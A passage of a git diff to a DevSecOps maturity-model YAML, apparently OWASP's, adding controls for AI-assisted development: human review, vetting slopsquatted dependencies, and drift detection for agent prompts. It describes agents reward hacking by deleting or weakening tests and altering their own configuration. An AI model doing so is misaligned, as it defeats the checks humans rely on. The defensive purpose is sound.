AI-generated code containing subtle logic flaws, insecure defaults or + hallucinated/typo-squatted dependencies is merged unreviewed because it + "looks right" and compiles. + measure: |- + Require human review for all AI-generated changes before merge. Reviewers are + accountable for the change as if they had written it. AI agents must not be + able to approve or merge their own pull requests. + dependsOn: + - 45f722b2-25b4-472a-a743-f7207a77b5c9 # Least privilege on external systems for AI agents + assessment: | + - Show branch protection requiring human review before merge and that agent identities cannot approve or merge their own pull requests. + - Show recent reviews of AI-generated changes and who is accountable for them. + difficultyOfImplementation: + knowledge: 2 + time: 3 + resources: 1 + usefulness: 5 + level: 3 + tags: + - ai + - verification + - human-review + implementation: + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/new-sdlc-vibe-coding + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/gdm-ai-control-roadmap + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/ai-coding-cli-verify + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/aisvs-appc + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/github-policies + references: + samm2: + - V-ST-A-1 + iso27001-2017: + - 14.2.3 + iso27001-2022: + - 8.29 + comments: "" + Validation of AI-suggested dependencies: + uuid: df2db3f4-bae6-448e-844e-9562a4eabc39 + description: |- + AI assistants hallucinate package names: research found around 20% of + dependencies suggested by LLMs do not exist. Attackers register these + names ("slopsquatting") or typo-variants on public registries, so blindly + installing AI-suggested packages imports attacker-controlled code. + + Automate the checks so they do not depend on developer discipline: + + - **Enforce a minimum OpenSSF Scorecard score** for new + dependencies, e.g. as a policy check in a pull-through proxy like an artifact registry or in the pull request + pipeline. Scorecard rates projects on maintenance, code review, + branch protection, dangerous workflows and vulnerability + handling; a threshold (e.g. score >= 5) filters low-hygiene and + abandoned packages before a human even reviews them. + - **Verify identity and existence**: does the package match the + intended project (publisher, source repository, age, download + counts)? Hallucinated and slopsquatted names fail exactly these + checks; tools like packj flag them automatically. + - **Gate before merge**: run the established software composition + analysis and the artifact repository policy on the change that + adds the dependency, so a malicious or compromised version never + enters the build. + risk: |- + A developer installs an AI-suggested package that is hallucinated, + typo-squatted or malicious. The package executes attacker code during + install or at runtime and compromises the application and build + environment. + measure: |- + Verify every AI-suggested dependency before adoption: check that the + package exists, is the intended one (name, publisher, repository), is + actively maintained and passes the established software composition + analysis. Prefer dependencies already used in the organization. + dependsOn: + - d918cd44-a972-43e9-a974-eff3f4a5dcfe # Software Composition Analysis (server side) + assessment: | + - Show the documented verification steps for adopting a new dependency and a recent example of an AI-suggested package that was checked (or rejected). + - Show that software composition analysis covers AI-suggested packages before merge. + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 1 + usefulness: 4 + level: 2 + tags: + - ai + - verification + - sca + implementation: + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/aisvs-c06 + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/aisvs-appc + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/packj + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/openssf-scorecard + references: + samm2: + - V-ST-A-2 + iso27001-2017: + - 14.2.5 + iso27001-2022: + - 8.27 + comments: "" + Security test generation with AI: + uuid: fea96e68-de10-4a62-9df0-4727f700a4a0 + description: |- + AI assistants can generate security-focused test cases (abuse cases, + authorization tests, input fuzzing, tests derived from threat models and + acceptance criteria) alongside the implementation, increasing security + test coverage at low cost. + risk: |- + Security requirements are implemented but never tested, because writing + security tests manually is perceived as too expensive. Regressions in + security controls go unnoticed. + measure: |- + Use AI assistants to generate security test cases from security acceptance + criteria and threat models (e.g. negative tests, authorization matrices, + injection payloads). Review generated tests like any other AI-generated + code and run them in the delivery pipeline. + dependsOn: + - 1caad69c-316c-422a-a56b-04ad6f6cc306 # Security requirements for AI-assisted development + - d6bc0b7f-fd98-49fe-b66c-7c5fa70452c6 # Human review of AI generated code + assessment: | + - Show security test cases generated from acceptance criteria or threat models and their human review. + - Show the generated tests running in the delivery pipeline. + difficultyOfImplementation: + knowledge: 3 + time: 2 + resources: 1 + usefulness: 3 + level: 3 + tags: + - ai + - verification + - testing + implementation: + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/aisvs-appc + references: + samm2: + - V-ST-A-1 + iso27001-2017: + - 14.2.8 + iso27001-2022: + - 8.29 + comments: "" + Self-verification of AI generated changes: + uuid: 63e82b31-4167-480d-a22b-baf8ef79af61 + description: |- + An AI-generated change is only a claim until something independent + confirms it. Instead of presenting an untested edit, the agent + executes the checks the project already defines for humans (test + suite, type checker, linter, build) in its sandboxed environment + and keeps refining the change until the checks succeed or a defined + budget ends the attempt. What reaches the human reviewer is then a + verified state backed by check output, not an assertion. This + introduces its own failure mode, reward hacking: an agent optimizing + for passing checks may get there by weakening assertions, deleting + failing tests or hardcoding expected values instead of fixing the + code. + risk: |- + Unverified AI changes are delivered as plausible-looking code that does + not build or breaks behavior. Conversely, an agent iterating to green + without guardrails games the tests (weakened or deleted tests, hardcoded + results), so a passing suite no longer means correct code. + measure: |- + Require AI agents to verify their changes against the project's own + checks before presenting them, and guard the loop against test + manipulation: record which checks failed before the agent started so + it can only claim genuinely new fixes, route every edit that touches + test code into human review, and re-run the full suite in the + pipeline independent of the agent's environment. + dependsOn: + - f6f7737f-25a9-4317-8de2-09bf59f29b5b # Defined build process + - eb2c7f9d-d0bd-4253-a2ba-cff2ace4a075 # Security unit tests for important components + assessment: | + - Show the agent workflow or configuration that runs the project's own checks (tests, type checker, linter, build) before changes are presented. + - Show the guardrails against test manipulation: baseline comparison of test results, review flags on modified test code and an independent re-run of the suite in the pipeline. + difficultyOfImplementation: + knowledge: 3 + time: 2 + resources: 2 + usefulness: 5 + level: 2 + tags: + - ai + - verification + - testing + implementation: + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/new-sdlc-vibe-coding + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/ai-coding-cli-verify + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/aisvs-appc + references: + samm2: + - V-ST-A-1 + iso27001-2017: + - 14.2.8 + iso27001-2022: + - 8.29 + comments: "" + Static and dynamic analysis of AI generated code: + uuid: 10362082-f48f-4218-be08-4ab78e589df0 + description: |- + Static and dynamic security testing (SAST, DAST, software composition + analysis) is defined in the _Test and Verification_ dimension and is + author-agnostic. This activity references those activities for + AI-generated code instead of duplicating them. The AI-specific delta + is coverage and pace: AI agents produce code in places classic scan + scopes miss (generated infrastructure code, scripts, one-off tools) + and at a rate that makes scanning inside the development loop (e.g. + the agent running the static analysis itself during + self-verification) more important than for human-written code. + Complementary: _No verification bypass for AI generated code_ ensures + no delivery path skips these scans. + risk: |- + AI-generated code reproduces insecure patterns from training data at + scale. If static and dynamic analysis does not cover all AI-produced + artifacts, typical vulnerabilities (injection, insecure defaults, + hardcoded secrets) ship unnoticed, faster and in higher volume than + with human-written code. + measure: |- + Apply the established static and dynamic security analysis to all + AI-generated code and artifacts. Include AI-produced infrastructure + code and scripts in the scan scope and surface findings inside the + AI-assisted development loop, so agents can fix them before human + review. + dependsOn: + - 6c05c837-8c99-46e2-828b-7c903e27dba4 # Static analysis for important server side components + - 07796811-37f9-467c-9ff2-48f346e77ff3 # Simple Scan + assessment: | + - Show that the scan scope includes AI-produced artifacts such as generated infrastructure code and scripts. + - Show a recent AI-generated change where static analysis findings were surfaced and fixed inside the AI-assisted development loop. + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 2 + usefulness: 4 + level: 2 + tags: + - ai + - verification + - testing + implementation: + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/aisvs-appc + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/ai-coding-cli-verify + references: + samm2: + - V-ST-A-1 + iso27001-2017: + - 14.2.8 + iso27001-2022: + - 8.29 + comments: "" + No verification bypass for AI generated code: + uuid: c548df0b-0964-4fad-9f98-28fcd7442011 + description: |- + Automated security testing of source code and running applications (SAST, + DAST, SCA) is defined in the _Test and Verification_ dimension and applies + to all code regardless of its author. This activity does not duplicate those + activities; it ensures AI-generated code cannot reach production on a path + that skips them (e.g. agent-pushed commits, auto-merge bots, generated + infrastructure code outside the pipeline). + risk: |- + AI agents and code generation workflows introduce alternative paths to + production (direct pushes, auto-merges, generated artifacts) that bypass the + established SAST/DAST/SCA gates, so AI-generated vulnerabilities are never + scanned. + measure: |- + Enforce that every AI-generated change goes through the same defined build + and security testing pipeline as human-written code. Verify branch + protection and pipeline gates cannot be bypassed by agent identities. + dependsOn: + - f6f7737f-25a9-4317-8de2-09bf59f29b5b # Defined build process + - 6c05c837-8c99-46e2-828b-7c903e27dba4 # Static analysis for important server side components + - 07796811-37f9-467c-9ff2-48f346e77ff3 # Simple Scan + assessment: | + - Show the branch protection and pipeline gates and that agent identities cannot bypass them (e.g. no direct-push or auto-merge exceptions). + - Show for a sample of recent AI-generated changes that each went through the full security testing pipeline. + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 1 + usefulness: 4 + level: 3 + tags: + - ai + - verification + implementation: + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/aisvs-appc + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/ci-cd-tools + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/github-policies + references: + samm2: + - I-SB-A-1 + iso27001-2017: + - 14.2.2 + iso27001-2022: + - 8.32 + comments: "" + Continuous detection of compromised AI components: + uuid: db390bba-3a49-4b1f-9982-c7d79fe88ea1 + description: |- + Trust evaluation at adoption time (see _Evaluation of the trust of + used AI components_) does not catch compromise that happens + afterwards: AI components can be hijacked later like any other + dependency, e.g. through a compromised publisher account or a + malicious update. The basis is _Test for compromised components_ + (Test and Verification, Static depth for applications); behavioral + classification registries extend it to AI components: they catalog + agent extensions (skills, MCP servers, plugins) under persistent + identifiers together with a record of how each component actually + behaves, so a component whose behavior starts to deviate, or that + appears in compromise advisories, can be identified and blocked like + a compromised package. + risk: |- + An approved AI component (skill, MCP server, plugin, model) is + compromised after its adoption, e.g. via a hijacked maintainer + account. The malicious update runs with the agent's privileges and + remains trusted, because it was vetted once and is never re-checked. + measure: |- + Continuously check the inventory of approved AI components against + compromise intelligence: match components and versions against + behavioral classification registries and compromise advisories, + alert on deviations between declared and observed behavior and + quarantine affected components analogous to _Test for compromised + components_. + dependsOn: + - 399c5b7f-1310-4841-89f7-16daff2fe3ef # Evaluation of the trust of used AI components + - 9c776b4e-5895-4040-b63b-c74236ec71b3 # Test for compromised components + assessment: | + - Show how the inventory of approved AI components is matched against compromise intelligence (e.g. a behavioral classification registry) and how often. + - Show the alerting and quarantine process and what happened on the last hit or test. + difficultyOfImplementation: + knowledge: 3 + time: 2 + resources: 2 + usefulness: 4 + level: 4 + tags: + - ai + - verification + - inventory + implementation: + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/ave-registry + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/openssf-malicious-packages + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/aisvs-c06 + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/owasp-agentic-top-10 + references: + samm2: + - O-EM-A-1 + iso27001-2017: + - 15.1.1 + iso27001-2022: + - 5.19 + comments: "" + Drift detection for agent instructions and guardrails: + uuid: 30e29dfc-2bb8-4fe1-bc7e-b3a9ade1ee9e + description: |- + _Protection of agent memory against poisoning_ puts system prompts, + rule files and guardrail configurations under version control and + review. Drift detection continuously verifies that what runs in + production still matches the approved state. Deployed instructions + and guardrails can be changed past the review process: through a + quick hotfix, direct console access, a compromised pipeline or an + agent writing to its own configuration. Comparing hashes of the + normalized deployed content against the last approved repository + version detects such silent changes. The generic detection of + configuration drift in production is defined in _Drift detection for + deployed configuration_ (Build and Deployment). This activity + extends it to the content assets that determine agent behavior. + risk: |- + A system prompt or guardrail configuration is modified outside the + review process (by an attacker, by an agent altering its own + instructions or by a well-meant manual hotfix). The deployed agent + behaves differently from the reviewed state, loosened guardrails are + never tightened again ("configuration drift") and nobody notices, + because the repository still looks correct. + measure: |- + Compare the deployed state of agent instructions (system prompts, + rule files) and guardrail configurations against the last approved + repository version on a schedule (at every deployment and at least + daily) using hashes of normalized content. Alert on every deviation, + treat drift of instructions or guardrails as a security incident with + high priority, and either restore the approved version or formally + re-approve the change. Document known runtime transformations as + normalization exceptions to keep the false-positive rate low. + dependsOn: + - 106622af-8969-4d9b-81ad-86d8e2bfd631 # Protection of agent memory against poisoning + - 9cba815f-02d2-4b06-a11f-7f28580e135a # Drift detection for deployed configuration + assessment: | + - Show the drift detection mechanism (hash comparison of normalized content), its schedule and the covered assets (system prompts, rule files, guardrail configurations). + - Demonstrate that an out-of-band change to a deployed system prompt or guardrail raises an alert within the scan cycle. + - Show how the last drift alert was handled (restore or formal re-approval) and the documented normalization exceptions. + difficultyOfImplementation: + knowledge: 3 + time: 2 + resources: 2 + usefulness: 4 + level: 5 + tags: + - ai + - verification + implementation: + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/aigf + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/owasp-agentic-top-10 + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/aima + references: + samm2: + - O-EM-A-2 + iso27001-2017: + - 12.1.2 + iso27001-2022: + - 8.9 + comments: "" diff --git a/src/assets/YAML/default/AI/_meta.yaml b/src/assets/YAML/default/AI/_meta.yaml new file mode 100644 index 0000000..b186346 --- /dev/null +++ b/src/assets/YAML/default/AI/_meta.yaml @@ -0,0 +1,14 @@ +_meta: + label: AI + icon: + description: |- + This dimension addresses the secure usage of AI during software development + and operations, as well as the security of AI-assisted engineering workflows. + The _Isolation_ subdimension focuses on containing AI agents and AI-generated code in restricted environments. + The _Guidance_ subdimension focuses on secure coding rules and policies for AI-assisted development. + The _Red Teaming_ subdimension focuses on adversarial testing of AI components and AI-based features. + The _Data Protection_ subdimension focuses on preventing leakage of sensitive data through AI tools, + including validation of model input and output (e.g. prompt injection prevention). + The _Verification_ subdimension focuses on the verification of AI-generated artifacts (specifications, plans and code); automated security + testing such as SAST/DAST is intentionally NOT duplicated here, it is referenced from the + _Test and Verification_ dimension (see ARCHITECTURE.md, section "Handling duplicates"). diff --git a/src/assets/YAML/default/BuildAndDeployment/Build.yaml b/src/assets/YAML/default/BuildAndDeployment/Build.yaml index 6f61666..1f13155 100755 --- a/src/assets/YAML/default/BuildAndDeployment/Build.yaml +++ b/src/assets/YAML/default/BuildAndDeployment/Build.yaml @@ -2,12 +2,16 @@ --- Build and Deployment: Build: - Building and testing of artifacts in virtual environments: + Building and testing of artifacts in virtualized environments: uuid: a340f46b-6360-4cb8-847b-a0d3483d09d3 description: |- While building and testing artifacts, third party systems, application frameworks and 3rd party libraries are used. These might be malicious as a result of vulnerable libraries or because they are altered during the delivery phase. + + Depending on your environment, usage of virtual machines + or container technology is a good way. After the build, the filesystem should + not be used again in other builds. risk: |- While building and testing artifacts, third party systems, application frameworks and 3rd party libraries are used. These might be malicious as a result of @@ -15,17 +19,14 @@ Build and Deployment: measure: Each step during within the build and testing phase is performed in a separate virtual environments, which is destroyed afterward. - meta: - implementationGuide: - Depending on your environment, usage of virtual machines - or container technology is a good way. After the build, the filesystem should - not be used again in other builds. difficultyOfImplementation: knowledge: 2 time: 2 resources: 2 usefulness: 2 level: 2 + dependsOn: + - 3a94d55e-fd82-4996-9eb3-20d23ff2a873 # Applications are running in virtualized environments implementation: - $ref: src/assets/YAML/default/implementations.yaml#/implementations/ci-cd-tools - $ref: src/assets/YAML/default/implementations.yaml#/implementations/container-technology @@ -36,8 +37,6 @@ Build and Deployment: - 14.2.6 iso27001-2022: - 8.31 - isImplemented: false - evidence: "" comments: "" Defined build process: uuid: f6f7737f-25a9-4317-8de2-09bf59f29b5b @@ -81,11 +80,14 @@ Build and Deployment: iso27001-2022: - 5.37 - 8.32 - isImplemented: false - evidence: "" comments: "" Pinning of artifacts: uuid: f3c4971e-9f4d-4e59-8ed0-f0bdb6262477 + description: + Pinning artifacts in Dockerfile refers to the practice of using specific, + immutable versions of base images and dependencies in your build process. Instead of using the + latest tag for your base image, select a specific version or digest. For example, replace FROM node:latest, + to FROM node@sha256:abcdef12. risk: Unauthorized manipulation of artifacts might be difficult to spot. For example, this may result in using images with malicious code. Also, intended @@ -95,12 +97,6 @@ Build and Deployment: comment: The usage of pinning requires a good processes for patching. Therefore, choose this activity wisely. - meta: - implementationGuide: - Pinning artifacts in Dockerfile refers to the practice of using specific, - immutable versions of base images and dependencies in your build process. Instead of using the - latest tag for your base image, select a specific version or digest. For example, replace FROM node:latest, - to FROM node@sha256:abcdef12. difficultyOfImplementation: knowledge: 2 time: 2 @@ -121,8 +117,6 @@ Build and Deployment: - 14.2.6 iso27001-2022: - 8.31 - isImplemented: false - evidence: "" comments: "" SBOM of components: uuid: 2858ac12-0179-40d9-9acf-1b839c030473 @@ -159,9 +153,7 @@ Build and Deployment: iso27001-2022: - 5.9 - 5.12 - isImplemented: false tags: ["inventory", "scanning", "sca"] - evidence: "" comments: "" Signing of artifacts: uuid: 5786959d-0c6f-46a6-8e1c-a32ff1a50222 @@ -196,8 +188,6 @@ Build and Deployment: - 14.2.6 iso27001-2022: - 8.31 - isImplemented: false - evidence: "" comments: "" Signing of code: uuid: 9f107927-61e9-4574-85ad-3f2b4bca8665 @@ -223,6 +213,4 @@ Build and Deployment: - 14.2.6 iso27001-2022: - 8.31 - isImplemented: false - evidence: "" comments: "" diff --git a/src/assets/YAML/default/BuildAndDeployment/Deployment.yaml b/src/assets/YAML/default/BuildAndDeployment/Deployment.yaml index 4e5b445..60df77d 100755 --- a/src/assets/YAML/default/BuildAndDeployment/Deployment.yaml +++ b/src/assets/YAML/default/BuildAndDeployment/Deployment.yaml @@ -35,8 +35,6 @@ Build and Deployment: - 8.32 - 8.19 - 8.29 - isImplemented: false - evidence: "" comments: "" Canary deployment: uuid: c4204a32-2545-4424-b524-d1cc52b46abd @@ -99,8 +97,6 @@ Build and Deployment: - 8.29 - 8.31 - 8.32 - isImplemented: false - evidence: "" comments: "" Defined decommissioning process: uuid: da4ff665-dcb9-4e93-9d20-48cdedc50fc2 @@ -128,8 +124,6 @@ Build and Deployment: - 11.2.7 iso27001-2022: - 7.14 - isImplemented: false - evidence: "" comments: "" Defined deployment process: uuid: 74938a3f-1269-49b9-9d0f-c43a79a1985a @@ -195,6 +189,56 @@ Build and Deployment: iso27001-2022: - 5.37 - 8.32 + Drift detection for deployed configuration: + uuid: 9cba815f-02d2-4b06-a11f-7f28580e135a + description: |- + Deployment pipelines put an approved, versioned state into production — + drift detection continuously verifies that production still matches it. + Deployed infrastructure and configuration can be changed past the + pipeline: through a quick hotfix, direct console or shell access, or a + compromised automation account. Continuously comparing the running + state against the versioned desired state (e.g. GitOps reconciliation, + infrastructure-as-code plan diffs) detects such out-of-band changes. + risk: |- + Production is modified outside the deployment process — a manual + hotfix, a console change or an attacker altering configuration. The + running state no longer matches the reviewed, versioned state: + hardening is silently loosened and never restored, the repository + gives a false sense of the deployed reality, and rebuilding the + environment reproduces neither the fix nor the compromise analysis. + measure: |- + Continuously compare the deployed state of infrastructure and + configuration against the versioned desired state (e.g. via GitOps + controllers that reconcile and report drift, or scheduled + infrastructure-as-code plan runs). Alert on every deviation and either + revert it automatically to the approved state or bring the change + through the regular review process. Document intentional exceptions + so the alerts stay actionable. + dependsOn: + - 67e1a9aa-9fbf-4ec5-a2de-400f01960c51 # Automated deployment process + assessment: | + - Show the drift detection mechanism (e.g. GitOps reconciliation status or scheduled plan diffs) and the covered environments. + - Demonstrate that an out-of-band change to production configuration raises an alert or is reverted automatically. + - Show how the last drift finding was handled (automatic revert or formal re-approval) and the documented exceptions. + difficultyOfImplementation: + knowledge: 3 + time: 2 + resources: 2 + usefulness: 4 + level: 3 + implementation: + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/gitops + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/argocd + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/fluxcd + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/terraform + references: + samm2: + - O-EM-A-2 + iso27001-2017: + - 12.1.2 + iso27001-2022: + - 8.9 + comments: "" Environment depending configuration parameters (secrets): uuid: df428c9d-efa0-4226-9f47-a15bb53f822b risk: >- @@ -225,7 +269,6 @@ Build and Deployment: - 8.31 d3f: - ApplicationConfigurationHardening - isImplemented: false tags: - secret Handover of confidential parameters: @@ -265,7 +308,6 @@ Build and Deployment: - 8.24 d3f: - ApplicationConfigurationHardening - isImplemented: false tags: - secret Inventory of production dependencies: @@ -403,8 +445,6 @@ Build and Deployment: - 8.19 - 8.32 - 8.14 - isImplemented: false - evidence: "" comments: "" Same artifact for environments: uuid: a854b48d-83bd-4f8d-8621-a0bdd470837f @@ -436,8 +476,6 @@ Build and Deployment: - 8.33 - 8.29 - 8.31 - isImplemented: false - evidence: "" comments: "" Usage of feature toggles: uuid: a511799b-045e-4b96-9843-7d63d8c1e2ad @@ -472,8 +510,6 @@ Build and Deployment: - 8.31 d3f: - ApplicationConfigurationHardening - isImplemented: false - evidence: "" comments: "" Evaluation of the trust of used components: uuid: 0de465a6-55a7-4343-af79-948bb5ff10ba @@ -503,6 +539,4 @@ Build and Deployment: - Not explicitly covered by ISO 27001 - too specific - 8.25 - 8.27 - isImplemented: false - evidence: "" comments: "" diff --git a/src/assets/YAML/default/BuildAndDeployment/PatchManagement.yaml b/src/assets/YAML/default/BuildAndDeployment/PatchManagement.yaml index 3360754..5d07d1b 100755 --- a/src/assets/YAML/default/BuildAndDeployment/PatchManagement.yaml +++ b/src/assets/YAML/default/BuildAndDeployment/PatchManagement.yaml @@ -33,8 +33,6 @@ Build and Deployment: - 8.8 - 8.19 - 8.27 - isImplemented: false - evidence: "" comments: "" tags: - patching @@ -109,8 +107,6 @@ Build and Deployment: - 12.6.1 iso27001-2022: - 8.8 - isImplemented: false - evidence: "" comments: "" tags: - patching @@ -146,7 +142,6 @@ Build and Deployment: - 14.2.1 iso27001-2022: - 8.25 - evidence: "" comments: "" tags: - patching @@ -185,7 +180,6 @@ Build and Deployment: - 12.6.1 iso27001-2022: - 8.8 - evidence: "" comments: "" tags: - patching @@ -220,8 +214,6 @@ Build and Deployment: - 12.6.1 iso27001-2022: - 8.8 - isImplemented: false - evidence: "" comments: "" tags: - patching diff --git a/src/assets/YAML/default/CultureAndOrganization/Design.yaml b/src/assets/YAML/default/CultureAndOrganization/Design.yaml index 62fc8b8..dd29d88 100755 --- a/src/assets/YAML/default/CultureAndOrganization/Design.yaml +++ b/src/assets/YAML/default/CultureAndOrganization/Design.yaml @@ -30,6 +30,8 @@ Culture and Organization: * Input is escaped output is encoded appropriately using well established libraries. Source: OWASP Project Integration Project + # AI support + At this maturity level, AI can lift threat modeling from periodic workshops to a continuous activity: AI threat modeling tools generate architecture-aware threat model drafts from feature tickets and design documents before implementation starts, re-run the analysis when new tickets arrive and compare the threat model against the implemented code to surface drift between design intent and implementation (e.g. Apiiro AI Threat Modeling, commercial). The generated models require expert review, see the note on failure modes in _Conduction of simple threat modeling on technical level_. implementation: - $ref: src/assets/YAML/default/implementations.yaml#/implementations/whiteboard - $ref: src/assets/YAML/default/implementations.yaml#/implementations/miro-or-any-other-c @@ -38,6 +40,8 @@ Culture and Organization: - $ref: src/assets/YAML/default/implementations.yaml#/implementations/owasp-samm - $ref: src/assets/YAML/default/implementations.yaml#/implementations/threagile - $ref: src/assets/YAML/default/implementations.yaml#/implementations/threat-matrix-for-storage + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/apiiro-ai-threat-modeling + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/threat-designer references: samm2: - D-TA-B-2 @@ -51,8 +55,6 @@ Culture and Organization: - May be part of risk assessment - 5.12 - 8.25 - isImplemented: false - evidence: "" comments: "" Conduction of simple threat modeling on business level: uuid: 48f97f31-931c-46eb-9b3e-e2fec0cd0426 @@ -83,8 +85,6 @@ Culture and Organization: - May be part of risk assessment - 5.12 - 8.25 - isImplemented: false - evidence: "" comments: "" Conduction of simple threat modeling on technical level: uuid: 47419324-e263-415b-815d-e7161b6b905e @@ -116,7 +116,7 @@ Culture and Organization: ![SKF](https://github.com/OWASP/www-project-integration-standards/raw/master/writeups/owasp_in_sdlc/images/skf_qs.png "SKF") - This practice has the side effect that it trains non-security specialists to think like attackers. + This practice has the side effect that it trains non-security specialists to spot how functionality can be misused. The outcomes of this stage should help lay the foundation of secure design and considerations. @@ -131,6 +131,10 @@ Culture and Organization: GraphQL queries are dynamically translated to SQL, Elasticsearch and NoSQL queries. Access to data is protected with basic auth set to _1234:1234_ for development purposes. Source: OWASP Project Integration Project + # AI support + Large language models can support threat modeling as a complementary tool: given an architecture description, a data flow diagram or a user story, they generate candidate threat lists (e.g. along STRIDE) and suggested mitigations, which the team then reviews, corrects and prioritizes in the workshop. Tools such as [STRIDE GPT](https://github.com/mrwadams/stride-gpt) automate this drafting step; agentic applications such as [Threat Designer](https://github.com/awslabs/threat-designer) analyze architecture diagrams and let the team refine the resulting threat model interactively; agent skills such as [tm_skills](https://github.com/izar/tm_skills) let an AI coding agent generate pytm-based threat models with data flow diagrams directly from the codebase and evaluate user stories for security-notable events. + + Be aware of the failure modes: a language model confidently fills gaps in an incomplete system description and produces threats for components that do not exist, and its output is non-deterministic (the same input yields different threat models). Validating an AI-generated threat model requires exactly the security expertise the tool seems to replace (see [Team Werewolves wins!](https://threatmodeling.dev/team-werewolves-wins/)). AI-generated threats are a starting point for the discussion, not its result. The team exercise and the shared understanding remain the core of this activity. risk: Technical related threats are discovered too late in the development and deployment process. measure: | @@ -151,6 +155,8 @@ Culture and Organization: - $ref: src/assets/YAML/default/implementations.yaml#/implementations/threat-modeling-play - $ref: src/assets/YAML/default/implementations.yaml#/implementations/owasp-samm - $ref: src/assets/YAML/default/implementations.yaml#/implementations/threat-matrix-for-storage + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/threat-designer + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/tm-skills references: samm2: - D-TA-B-2 @@ -164,8 +170,6 @@ Culture and Organization: - May be part of risk assessment - 5.12 - 8.25 - isImplemented: false - evidence: "" comments: "" Creation of advanced abuse stories: uuid: 0a929c3e-ab9a-4206-8761-adf84b74622e @@ -200,11 +204,20 @@ Culture and Organization: - 5.8 - May be part of risk assessment - 5.9 - isImplemented: false - evidence: "" comments: "" Creation of simple abuse stories: uuid: bacf85b6-5bc0-405d-b5ba-a5d971467cc1 + description: |- + Abuse stories are the attacker's counterpart to user stories: for a + given user story they describe how the same functionality can be + misused. Large language models are well suited as a complementary + tool for this activity: given a user story and its acceptance + criteria, they generate candidate abuse stories. This covers a step + teams often skip, because systematically asking how functionality + can be misused requires experience most development teams do not + have. Generated abuse stories are drafts: the team + reviews them, discards irrelevant ones and derives security + acceptance criteria from the relevant ones. risk: User stories mostly don't consider security implications. Security flaws are discovered too late in the development and deployment process. @@ -235,8 +248,6 @@ Culture and Organization: - 5.8 - May be part of risk assessment - 5.9 - isImplemented: false - evidence: "" comments: "" Creation of threat modeling processes and standards: uuid: dd5ed7c1-bdbf-400f-b75f-6d3953a1a04e @@ -271,8 +282,6 @@ Culture and Organization: - May be part of risk assessment - 5.12 - 8.25 - isImplemented: false - evidence: "" comments: "" Information security targets are communicated: uuid: 1b9281b9-48e2-4c01-9ac6-9db9931c4885 @@ -299,6 +308,4 @@ Culture and Organization: iso27001-2022: - 5.1 - 5.4 - isImplemented: false - evidence: "" comments: "" diff --git a/src/assets/YAML/default/CultureAndOrganization/EducationAndGuidance.yaml b/src/assets/YAML/default/CultureAndOrganization/EducationAndGuidance.yaml index 4395b7b..69799f6 100755 --- a/src/assets/YAML/default/CultureAndOrganization/EducationAndGuidance.yaml +++ b/src/assets/YAML/default/CultureAndOrganization/EducationAndGuidance.yaml @@ -69,8 +69,6 @@ Culture and Organization: - 7.1.1 iso27001-2022: - 6.1 - isImplemented: false - evidence: "" comments: "" Aligning security in teams: uuid: f994a55d-71bb-45a4-a887-0a213d72c504 @@ -96,8 +94,6 @@ Culture and Organization: - 7.1.1 iso27001-2022: - 6.1 - isImplemented: false - evidence: "" comments: "" Conduction of build-it, break-it, fix-it contests: uuid: bfdb576e-a416-4ec6-96fe-a078d58b2ff8 @@ -124,8 +120,6 @@ Culture and Organization: - 7.2.2 iso27001-2022: - 6.3 - isImplemented: false - evidence: "" comments: "" Conduction of collaborative security checks with developers and system administrators: uuid: 95caef96-36ed-458c-a087-5c35d4f9dec2 @@ -159,8 +153,6 @@ Culture and Organization: - 6.3 - 8.8 - 8.34 - isImplemented: false - evidence: "" comments: "" Conduction of collaborative team security checks: uuid: 35446784-7610-40d9-af9e-d43f3173bf8c @@ -185,8 +177,6 @@ Culture and Organization: iso27001-2022: - Mutual security testing is not explicitly required in ISO 27001 may be - 6.3 - isImplemented: false - evidence: "" comments: "" Conduction of war games: uuid: 534f60bf-0995-4314-bb9c-f0f2bf204694 @@ -216,8 +206,6 @@ Culture and Organization: - 6.3 - 5.24 - 5.26 - isImplemented: false - evidence: "" comments: "" Each team has a security champion: uuid: 6217fe11-5ed7-4cf4-9de4-555bcfa6fe87 @@ -253,8 +241,6 @@ Culture and Organization: - Security champions are missing in ISO 27001 most likely - 5.4 - 6.3 - isImplemented: false - evidence: "" comments: "" Regular security training for all: uuid: 9768f154-357a-4c06-af6f-d66570677c9b @@ -286,8 +272,6 @@ Culture and Organization: - 7.2.2 iso27001-2022: - 6.3 - isImplemented: false - evidence: "" comments: "" Regular security training for externals: uuid: 31833d56-35af-4ef3-9300-f23d27646ce7 @@ -311,8 +295,6 @@ Culture and Organization: - 7.2.2 iso27001-2022: - 6.3 - isImplemented: false - evidence: "" comments: "" Regular security training of security champions: uuid: f88d1b17-3d7d-4c3d-8139-ad44fc4942d4 @@ 